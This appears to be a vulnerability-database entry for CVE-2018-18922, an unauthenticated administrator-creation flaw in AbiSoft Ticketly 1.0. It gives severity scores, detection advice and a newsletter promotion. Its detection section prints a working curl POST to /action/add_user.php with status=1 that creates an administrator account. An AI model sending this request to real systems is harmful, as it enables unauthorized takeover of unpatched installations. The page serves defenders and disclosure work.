CVE-2018-18922: add_user in AbiSoft Ticketly 1.0 allows remote attackers to create administrator accounts via an action/add_user.php POST request.

PriorityP262critical9.8CVSS 3.0

AVNACLPRNUINSUCHIHAH

EXPLOIT

EPSS

2.43%

82.2th percentile

add_user in AbiSoft Ticketly 1.0 allows remote attackers to create administrator accounts via an action/add_user.php POST request.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
abisoftgt	ticketly	—	—

Detection & IOCsextracted from sources · hover to see the quote

commandcurl -i -s -k -X $'POST' \ -H $'Host: [HOST]' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 82' \ --data-binary $'name=[NAME]&lastname=[LASTNAME]&email=[EMAIL]&status=1&password=[PASS]' \ $'http://[PATH]/action/add_user.php'↗

→Look for POST body parameters containing 'status=1' submitted to /action/add_user.php, as status=1 designates administrator privilege in the exploit payload. ↗
→Flag POST requests to /action/add_user.php originating from unauthenticated sessions or lacking a valid session cookie, as the vulnerability requires no authentication. ↗

·The vulnerability is unpatched as of the exploit publication date; no patched version exists for Ticketly 1.0. ↗
·The exploit is applicable on both Windows and Linux deployments of Ticketly 1.0. ↗

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:N/I:P/A:N

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.